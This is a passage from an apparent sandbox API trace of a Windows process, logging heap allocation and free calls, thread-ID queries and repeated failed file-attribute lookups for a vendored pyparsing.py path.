(Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85a50, Size=0x74) returned 0x302bd30 [0075.270] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x302bd30, Size=0x9c) returned 0x302bd30 [0075.270] GetCurrentThreadId () returned 0x9b0 [0075.270] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x302bd30, Size=0xcc) returned 0x302bd30 [0075.270] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x302bd30, Size=0x100) returned 0x2ab4e40 [0075.270] GetCurrentThreadId () returned 0x9b0 [0075.270] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4e40, Size=0x13c) returned 0x31da3b8 [0075.270] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31da3b8, Size=0x180) returned 0x2ab44b0 [0075.270] GetCurrentThreadId () returned 0x9b0 [0075.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab44b0 | out: hHeap=0x2ad0000) returned 1 [0075.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x31810b8 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3181b70 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4908 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96e28 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab48f8 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4a08 [0075.271] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab48f8, Size=0x14) returned 0x2ab40a0 [0075.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4a08 | out: hHeap=0x2ad0000) returned 1 [0075.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96e28 | out: hHeap=0x2ad0000) returned 1 [0075.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4908 | out: hHeap=0x2ad0000) returned 1 [0075.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab40a0 | out: hHeap=0x2ad0000) returned 1 [0075.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31810b8 | out: hHeap=0x2ad0000) returned 1 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24f) returned 0x2ac3620 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48b8 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028238 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96e28 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab48f8 [0075.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4a08 [0075.271] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab48f8, Size=0x14) returned 0x2a71700 [0075.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4a08 | out: hHeap=0x2ad0000) returned 1 [0075.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96e28 | out: hHeap=0x2ad0000) returned 1 [0075.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0075.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48b8 | out: hHeap=0x2ad0000) returned 1 [0075.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96e28 [0075.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48e8 [0075.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x30283c8 [0075.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96ea0 [0075.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49b8 [0075.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4958 [0075.272] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab49b8, Size=0x14) returned 0x2a71700 [0075.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4958 | out: hHeap=0x2ad0000) returned 1 [0075.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96ea0 | out: hHeap=0x2ad0000) returned 1 [0075.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30283c8 | out: hHeap=0x2ad0000) returned 1 [0075.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48e8 | out: hHeap=0x2ad0000) returned 1 [0075.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48e8 [0075.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30283c8 [0075.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96ea0 [0075.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4868 [0075.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4a28 [0075.273] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4868, Size=0x14) returned 0x2a71700 [0075.273] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71700, Size=0x24) returned 0x2a1ffb8 [0075.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4a28 | out: hHeap=0x2ad0000) returned 1 [0075.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96ea0 | out: hHeap=0x2ad0000) returned 1 [0075.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30283c8 | out: hHeap=0x2ad0000) returned 1 [0075.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48e8 | out: hHeap=0x2ad0000) returned 1 [0075.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0075.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96ea0 [0075.273] GetCurrentThreadId () returned 0x9b0 [0075.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48f8 [0075.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97200 [0075.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4968 [0075.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab49d8 [0075.273] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4968, Size=0x14) returned 0x2ab40a0 [0075.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab49d8 | out: hHeap=0x2ad0000) returned 1 [0075.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97200 | out: hHeap=0x2ad0000) returned 1 [0075.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48f8 | out: hHeap=0x2ad0000) returned 1 [0075.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab40a0 | out: hHeap=0x2ad0000) returned 1 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3181860 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab49d8 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97110 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97260 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab48e8 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab49a8 [0075.274] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab48e8, Size=0x14) returned 0x2a71700 [0075.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab49a8 | out: hHeap=0x2ad0000) returned 1 [0075.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97260 | out: hHeap=0x2ad0000) returned 1 [0075.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97110 | out: hHeap=0x2ad0000) returned 1 [0075.274] GetCurrentThreadId () returned 0x9b0 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x302e718 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x54a) returned 0x31e2000 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4958 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c972f0 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97230 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab48f8 [0075.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4998 [0075.274] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab48f8, Size=0x14) returned 0x2a71700 [0075.275] GetCurrentThreadId () returned 0x9b0 [0075.275] GetCurrentThreadId () returned 0x9b0 [0075.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x317fb48 [0075.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x302db08 [0075.275] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2e4 [0075.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4978 [0075.275] GetCurrentThreadId () returned 0x9b0 [0075.275] GetCurrentThreadId () returned 0x9b0 [0075.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc00) returned 0x31e2558 [0075.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4a28 [0075.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97230 [0075.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c972c0 [0075.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49d8 [0075.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4968 [0075.275] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab49d8, Size=0x14) returned 0x2a71700 [0075.276] GetCurrentThreadId () returned 0x9b0 [0075.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4998 [0075.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028558 [0075.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97110 [0075.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4958 [0075.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48c8 [0075.276] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4958, Size=0x14) returned 0x2a71700 [0075.277] GetCurrentThreadId () returned 0x9b0 [0075.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3182008 [0075.277] GetCurrentThreadId () returned 0x9b0 [0075.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97128 [0075.277] GetCurrentThreadId () returned 0x9b0 [0075.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c972c0 [0075.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c972f0 [0075.277] GetCurrentThreadId () returned 0x9b0 [0075.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97158 [0075.277] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c97158, Size=0x20) returned 0x3028260 [0075.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19b98 [0075.277] GetCurrentThreadId () returned 0x9b0 [0075.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97200 [0075.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97158 [0075.277] GetCurrentThreadId () returned 0x9b0 [0075.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19738 [0075.278] GetCurrentThreadId () returned 0x9b0 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c971b8 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c972f0 [0075.278] GetCurrentThreadId () returned 0x9b0 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x31802f0 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62060 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x291) returned 0x31e0080 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4938 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97128 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4a08 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4a28 [0075.278] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4a08, Size=0x14) returned 0x2ab4020 [0075.278] GetCurrentThreadId () returned 0x9b0 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48e8 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x30283c8 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97200 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49b8 [0075.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab49c8 [0075.278] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab49b8, Size=0x14) returned 0x2a71700 [0075.279] GetCurrentThreadId () returned 0x9b0 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4998 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028508 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97128 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4958 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4908 [0075.279] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4958, Size=0x14) returned 0x2a71700 [0075.279] GetCurrentThreadId () returned 0x9b0 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3182318 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b61f98 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48e8 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97158 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49b8 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4988 [0075.279] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab49b8, Size=0x14) returned 0x2ab3f80 [0075.279] GetCurrentThreadId () returned 0x9b0 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48e8 [0075.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.280] GetCurrentThreadId () returned 0x9b0 [0075.280] GetCurrentThreadId () returned 0x9b0 [0075.280] GetCurrentThreadId () returned 0x9b0 [0075.280] GetCurrentThreadId () returned 0x9b0 [0075.280] GetCurrentThreadId () returned 0x9b0 [0075.280] GetCurrentThreadId () returned 0x9b0 [0075.280] GetCurrentThreadId () returned 0x9b0 [0075.280] GetCurrentThreadId () returned 0x9b0 [0075.280] GetLastError () returned 0x0 [0075.280] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9524 | out: lpFileInformation=0x9b9524*(dwFileAttributes=0x5da61050, ftCreationTime.dwLowDateTime=0x9b9540, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32099a0, ftLastWriteTime.dwHighDateTime=0x9b9558, nFileSizeHigh=0x9b95d4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.281] GetLastError () returned 0x3 [0075.281] GetLastError () returned 0x3 [0075.281] GetCurrentThreadId () returned 0x9b0 [0075.281] GetLastError () returned 0x3 [0075.286] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9524 | out: lpFileInformation=0x9b9524*(dwFileAttributes=0x5da61050, ftCreationTime.dwLowDateTime=0x9b9540, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32099a0, ftLastWriteTime.dwHighDateTime=0x9b9558, nFileSizeHigh=0x9b95d4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.287] GetLastError () returned 0x3 [0075.287] GetLastError () returned 0x3 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetLastError () returned 0x3 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.287] GetCurrentThreadId () returned 0x9b0 [0075.288] GetCurrentThreadId () returned 0x9b0 [0075.288] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c94878, Size=0x20) returned 0x3028238 [0075.288] GetCurrentThreadId () returned 0x9b0 [0075.288] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19328, Size=0x64) returned 0x2a197a8 [0075.288] GetCurrentThreadId () returned 0x9b0 [0075.288] GetCurrentThreadId () returned 0x9b0 [0075.288] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a197a8, Size=0x8c) returned 0x2ac0748 [0075.288] GetCurrentThreadId () returned 0x9b0 [0075.288] GetCurrentThreadId () returned 0x9b0 [0075.288] GetLastError () returned 0x3 [0075.288] GetCurrentThreadId () returned 0x9b0 [0075.288] GetCurrentThreadId () returned 0x9b0 [0075.288] GetLastError () returned 0x3 [0075.288] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9524 | out: lpFileInformation=0x9b9524*(dwFileAttributes=0x5da61050, ftCreationTime.dwLowDateTime=0x9b9540, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3209aa0, ftLastWriteTime.dwHighDateTime=0x9b9558, nFileSizeHigh=0x9b95d4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.288] GetLastError () returned 0x3 [0075.289] GetLastError () returned 0x3 [0075.289] GetCurrentThreadId () returned 0x9b0 [0075.289] GetLastError () returned 0x3 [0075.289] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9524 | out: lpFileInformation=0x9b9524*(dwFileAttributes=0x5da61050, ftCreationTime.dwLowDateTime=0x9b9540, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3209aa0, ftLastWriteTime.dwHighDateTime=0x9b9558, nFileSizeHigh=0x9b95d4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.289] GetLastError () returned 0x3 [0075.289] GetLastError () returned 0x3 [0075.289] GetCurrentThreadId () returned 0x9b0 [0075.289] GetLastError () returned 0x3 [0075.289] GetCurrentThreadId () returned 0x9b0 [0075.289] GetCurrentThreadId () returned 0x9b0 [0075.289] GetCurrentThreadId () returned 0x9b0 [0075.289] GetCurrentThreadId () returned 0x9b0 [0075.289] GetCurrentThreadId () returned 0x9b0 [0075.289] GetCurrentThreadId () returned 0x9b0 [0075.289] GetCurrentThreadId () returned 0x9b0 [0075.289] GetCurrentThreadId () returned 0x9b0 [0075.289] GetCurrentThreadId () returned 0x9b0 [0075.290] GetCurrentThreadId () returned 0x9b0 [0075.290] GetCurrentThreadId () returned 0x9b0 [0075.290] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2ac0450 [0075.290] GetCurrentThreadId () returned 0x9b0 [0075.290] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9524 | out: lpFileInformation=0x9b9524*(dwFileAttributes=0x5da61050, ftCreationTime.dwLowDateTime=0x9b9540, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3209b20, ftLastWriteTime.dwHighDateTime=0x9b9558, nFileSizeHigh=0x9b95d4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.290] GetLastError () returned 0x3 [0075.290] GetLastError () returned 0x3 [0075.290] GetCurrentThreadId () returned 0x9b0 [0075.290] GetLastError () returned 0x3 [0075.290] GetCurrentThreadId () returned 0x9b0 [0075.290] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9524 | out: lpFileInformation=0x9b9524*(dwFileAttributes=0x5da61050, ftCreationTime.dwLowDateTime=0x9b9540, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3209b20, ftLastWriteTime.dwHighDateTime=0x9b9558, nFileSizeHigh=0x9b95d4, nFileSizeLow=0x72ffe51c)) returned 0 [0075.290] GetLastError () returned 0x3 [0075.290] GetLastError () returned 0x3 [0075.290] GetCurrentThreadId () returned 0x9b0 [0075.290] GetLastError () returned 0x3 [0075.290] GetCurrentThreadId () returned 0x9b0 [0075.291] GetCurrentThreadId () returned 0x9b0 [0075.291] GetCurrentThreadId () returned 0x9b0 [0075.291] GetCurrentThreadId () returned 0x9b0 [0075.291] GetCurrentThreadId () returned 0x9b0 [0075.291] GetCurrentThreadId () returned 0x9b0 [0075.291] GetCurrentThreadId () returned 0x9b0 [0075.291] GetCurrentThreadId () returned 0x9b0 [0075.291] GetCurrentThreadId () returned 0x9b0 [0075.291] GetCurrentThreadId () returned 0x9b0 [0075.291] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.292] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] GetCurrentThreadId () returned 0x9b0 [0075.293] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c94878, Size=0x20) returned 0x3028490 [0075.293] GetCurrentThreadId () returned 